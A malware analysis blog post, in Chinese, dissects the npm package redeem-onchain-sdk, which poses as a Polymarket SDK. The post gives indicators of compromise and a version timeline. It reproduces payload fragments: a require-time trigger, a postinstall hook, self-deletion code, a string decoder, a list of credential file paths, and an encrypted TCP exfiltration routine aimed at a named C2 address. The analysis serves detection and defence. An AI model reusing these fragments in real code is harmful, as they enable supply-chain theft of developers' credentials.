目录
摘要
redeem-onchain-sdk 是一个伪装成 Polymarket 链上 SDK 的恶意 npm 包。它会收集 SSH 密钥、AWS 凭证、.npmrc 令牌、Docker 认证信息、Chrome 保存的登录凭据、.env 文件,以及一个月的 git 提交历史记录,然后通过原始 TCP 套接字将所有内容发送到托管在 AWS 上的 C2 服务器。它有两个触发机制:包主入口点中的一个副作用(require(),在 v1.0.1 中添加)和一个 postinstall 钩子(在 v1.0.5 中添加)。有效载荷位于 dist/proxy.js,后来被重命名为 dist/index5_test.js。
影响范围:
- 从
~/.ssh/id_rsa窃取私钥,从~/.ssh/config窃取 SSH 配置 - 从
~/.aws/credentials窃取云凭证,从~/.docker/config.json窃取 Docker 认证信息 - 从
~/.npmrc和~/.netrc窃取 npm 发布令牌 - 在 Windows 上窃取 Chrome 保存的登录数据库
- 读取主目录和当前工作目录中的任何
.env文件 - 捕获一个月的
git log输出:提交信息、分支名称、工单引用 - 执行后删除自身并重写
package.json以延迟发现
入侵指标:
redeem-onchain-sdk-iocs.csv
| 类型 | 指标 | 备注 | |
|---|---|---|---|
| 1 | npm 包 | [email protected] | 恶意 |
| 2 | npm 包 | [email protected] | 恶意 |
| 3 | npm 包 | [email protected] | 恶意 |
| 4 | npm 包 | [email protected] | 恶意 |
| 5 | npm 包 | [email protected] | 恶意 |
| 6 | npm 包 | [email protected] | 恶意 |
| 7 | npm 包 | [email protected] | 恶意 |
| 8 | npm 包 | [email protected] | 恶意 |
| 9 | npm 维护者 | ryanmccollum1 | npm 账户 |
| 10 | 邮箱 | [email protected] | 维护者联系方式 |
| 11 | SHA-256 | ea0d611711059f0d905e97878f05f6e887e71eadbfc783809e5a949bf89e6821 | 有效载荷哈希 |
| 12 | IP | 18.208.244.120 | C2 — AWS EC2 us-east-1 |
| 13 | TCP 端点 | 18.208.244.120:9999 | C2 原始 TCP 套接字 |
| 14 | 主机名 | ec2-18-208-244-120.compute-1.amazonaws.com | C2 主机名 |
| 15 | 文件 | dist/proxy.js | 磁盘上的有效载荷文件名 |
| 16 | 文件 | dist/proxy copy.js | 磁盘上的有效载荷文件名 |
| 17 | 文件 | dist/index5_test.js | 磁盘上的有效载荷文件名 |
| 18 | 文件 | $TMPDIR/.redeem_err.log | 执行后删除的错误日志 |
18 行
| 3 列 |
软件包概述
该包于 2026 年 4 月 1 日登陆 npm,描述为"用于 USDC 和条件代币的 Polymarket 链上授权和赎回工具"。关键词涵盖 polymarket、prediction-market、usdc 和 polygon。依赖树是真实的:@polymarket/clob-client、ethers、consola、ora、picocolors、p-limit、p-retry。README 看起来可信。provider、allowances 和 redeem 模块实现了 README 中记录的功能。
repository 和 homepage 字段都是 null。维护者是 ryanmccollum1,没有 GitHub 链接,没有项目页面,也没有公开的 Polymarket 贡献记录。该包是一个精心构建的信誉外壳:一个嵌入了有效载荷的工作 SDK,目标是针对那些在开发环境中存储钱包私钥、RPC 令牌和交易所 API 凭证的 Polymarket 智能合约脚本开发者。
版本时间线:
1.0.0 2026-04-01 18:21Z clean baseline (69 downloads)
1.0.1 2026-04-02 08:43Z payload landed, no postinstall (96 downloads)
1.0.2 2026-04-23 21:40Z refined payload, no postinstall (171 downloads)
1.0.4 2026-04-29 10:57Z postinstall added, points at missing file
1.0.5 2026-04-29 11:00Z postinstall fixed: node dist/proxy.js
1.0.6 2026-04-29 11:16Z payload renamed to index5_test.js (postinstall broken again)
1.0.7 2026-04-29 11:20Z postinstall fixed: node dist/index5_test.js攻击者在 1.0.0 版本中发布了一个干净版本,一天后投放恶意有效载荷,在 1.0.1 和 1.0.2 版本期间让软件包收集了 267 次导入,历时四周,然后在 4 月 29 日的 25 分钟内通过四次快速重新发布在安装钩子中实现武器化。
两个执行触发器
大多数检测规则都针对 postinstall 脚本。1.0.1 到 1.0.4 版本完全跳过了该触发器。
入口点 dist/index.js 以一行结束,该行将软件包的任何导入变为副作用:
// package/dist/index.js (last line, present since v1.0.1)
__exportStar(require('./proxy'), exports);require("./proxy") 执行 dist/proxy.js,这是 1.0.1 到 1.0.5 版本中的恶意文件。任何导入该包的人,即使只是读取类型定义或调用 approveUSDCAllowance,也会执行有效载荷。无需安装钩子。
在 v1.0.6 中文件被重命名为 index5_test.js,v1.0.7 中将 postinstall 连接到新名称:
// package/package.json (v1.0.7)
"scripts": {
"build": "tsc",
"prepublishOnly": "npm run build",
"postinstall": "node dist/index5_test.js"
}重命名后,index.js 中的 __exportStar(require("./proxy")) 行指向一个不再存在的文件,因此 v1.0.6 和 v1.0.7 作为合法库已经损坏。这两个版本仅用于传递有效载荷。
自清理
有效载荷的第一步是从磁盘删除自身并用中性清单替换包清单:
// package/dist/index5_test.js (top of file)
const _cleanupConfig = {
deleteTarget: 'index5_test.js',
cleanPackageJson: {
name: 'example',
version: '4.2.1',
},
};
try {
_cleanupFs.unlinkSync(_cleanupPath.resolve(__dirname, _cleanupConfig.deleteTarget));
} catch (err) {
/* ... */
}
try {
_cleanupFs.writeFileSync(
_cleanupPath.join(__dirname, 'package.json'),
JSON.stringify(_cleanupConfig.cleanPackageJson, null, 2),
'utf8'
);
} catch (err) {
/* ... */
}审查者在安装完成后拉取 node_modules/redeem-onchain-sdk/dist/,会找到一个包目录,其中 package.json 声称自己是 [email protected],且没有 index5_test.js 文件可供检查。恶意代码在任何人注意到它已运行之前就已消失。
混淆方案
有效载荷的字符串存储在一个 43 元素的数组 _stjRaw 中。每个条目使用分串接,并通过自定义多层解码器处理:
// package/dist/index5_test.js (decoder, simplified)
const _stjKey = 'OrDeR_7077';
const _stjAesKey = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8');
function decode(payload) {
const normalized = payload.split('').reverse().join('').replace(/_/g, '=');
const buffer = Buffer.from(normalized, 'base64');
const iv = buffer.slice(0, 16);
const ciphertext = buffer.slice(16);
const decipher = crypto.createDecipheriv('aes-256-ctr', _stjAesKey, iv);
const xorSource = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
const output = Buffer.alloc(xorSource.length);
for (let i = 0; i < xorSource.length; i++) {
output[i] = xorSource[i] ^ keyBuf[i % keyBuf.length] ^ ((7 * i * i) % 10);
}
return output.toString('utf8');
}反转字符串,将 _ 交换为 = 以修复 base64,用硬编码密钥通过 AES-256-CTR 解密,然后用 OrDeR_7077(循环)+ 位置多项式 (7·i²) mod 10 对结果进行 XOR。每个解码后的字符串本身是 base64,有效载荷在调用点再次解码。双重编码将简单 URL 和文件路径隐藏在字符串扫描器中,这些扫描器仅匹配单轮 base64。
两个独立的解码器实现可在所有 43 个条目中产生字节完全相同的输出。该数组包含 C2 IP(18.208.244.120)、C2 端口(9999)、密码名称 aes-256-gcm、要窃取的文件路径、IP 发现 URL https://api.ipify.org?format=json、git log --since="1 month ago" --format=oneline 命令和错误日志文件名 .redeem_err.log。
该数组还跨九个条目(stj[4] 到 stj[12])组装了一个 2048 位 RSA 公钥。解码后的 PUBLIC_KEY_DATA 常量位于有效载荷顶部,但从未被引用。死代码。实际外泄路径中的传输密码是对称 AES-256-GCM,使用硬编码密钥,而不是 RSA。攻击者可能从混合加密开始,使用 RSA 包装每次会话的 AES 密钥,然后在发布前放弃了它。诱饵公钥仍保留在包中并膨胀了混淆字符串数组,但在运行时不会接触任何东西。
有效载荷使用硬编码密钥的 aes-256-gcm 进行传输:
// recovered: the AES-GCM key used to encrypt outbound frames
const SECRET = Buffer.from('00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff', 'hex');硬编码密钥将所有信息交给防御者。任何恢复二进制文件的人都可以解密 C2 收到的每一帧。攻击者想要传输密文,但将解密密钥包含在同一工件中。
收集与外泄
清理后,有效载荷读取 basePaths 中的每个路径。攻击者保留了源代码中的原始内联注释,标注了他们想要窃取的秘密:
// package/dist/index5_test.js (path list, with attacker's own comments)
const basePaths = [
stj[14], // .env
stj[15], // .home/.env
stj[16], // .home/.aws/credentials
stj[17], // .home/.docker/config.json
stj[18], // .home/.ssh/id_rsa
stj[19], // .home/.ssh/config
stj[20], // .home/.npmrc
stj[21], // .home/.netrc
stj[22], // AppData/ssh/known_hosts (Windows)
stj[23], // LocalAppData/Google/Chrome/User Data/Default/Login Data (Windows)
stj[24], // /tmp/session_temp.json (Linux/macOS)
];对于每个路径,有效载荷尝试主目录和当前工作目录,读取最多一兆字节,并将内容追加到 metrics 缓冲区。它还运行:
// recovered command
const { stdout } = await exec('git log --since="1 month ago" --format=oneline', { timeout: 5000 });当 npm install 触发时,git log 从当前目录所在的仓库运行。在工作仓库中运行安装,攻击者就会获取一个月的提交历史。
外泄是通过原始 TCP 套接字发送的长度前缀二进制帧:
function buildFrame(payload) {
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', SECRET, iv);
const plaintext = Buffer.from(JSON.stringify(payload), 'utf8');
const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
const tag = cipher.getAuthTag();
const frame = Buffer.concat([iv, encrypted, tag]);
const length = Buffer.alloc(4);
length.writeUInt32BE(frame.length, 0);
return Buffer.concat([length, frame]);
}
function sendFrame(frame) {
const client = net.connect(COMPONENT_PORT, COMPONENT_ENDPOINT, () => {
client.write(frame);
client.end();
});
/* ... */
}帧布局为 [uint32 BE length][12-byte IV][AES-256-GCM ciphertext][16-byte auth tag]。攻击者可以通过 REDEEM_ENDPOINT 和 REDEEM_PORT 覆盖 C2 端点和端口,这在轮换基础设施时很有用。默认端点解析为 us-east-1 中的 AWS EC2 实例。
活动范围
来自同一维护者的另外两个软件包携带相同的有效载荷:period-newline(v0.1.0)和 nicegui(v0.1.0)。两者均在同一天发布,两者都发送 TypeScript 声明以看起来像类型化工具包,两者都连接到同一 C2 地址 18.208.244.120:9999。这不是一个孤立事件——这是来自同一行为者的多包部署,在三个软件包中并行运行相同的凭证窃取操作。
维护者 ryanmccollum1 在 npm 上还有其他四个软件包:agui-session-recorder、agent-trace-kit、mcp-contract-tester 和 neat-terminal-visualizer-84721。描述针对 AI 代理生态系统(AG-UI 事件捕获、代理追踪回放、MCP 服务器合约测试)。截至撰写本文时,对每个软件包进行静态分析均未发现有效载荷、安装后钩子或 require() 时副作用。
它们仍然不安全使用。同样的维护者、同样的发布模式、同样的生态系统目标将这些标记为植入的信誉。redeem-onchain-sdk 策略(干净的 v1.0.0,一天后恶意有效载荷)可以用两分钟的工作在任何软件包上运行。
所有四个同级软件包都针对 AI 工具:AG-UI、MCP、代理追踪。针对 Polymarket 脚本进行开发的开发者正是那些将未验证软件包拉入代理工具链的开发者。这位维护者两者兼顾。
参考资料
-
npm 软件包:npmjs.com/package/period-newline
-
npm 软件包:npmjs.com/package/nicegui
-
SafeDep
vet:github.com/safedep/vet -
SafeDep
pmg:github.com/safedep/pmg -
相关分析:Catching the Silent Threat: Dynamic Analysis of an npm Attack Chain
-
vet
-
malware
-
npm
-
supply-chain
-
polymarket
-
credential-theft
SafeDep 博客最新动态
关注以获取开源安全与工程的最新更新和洞察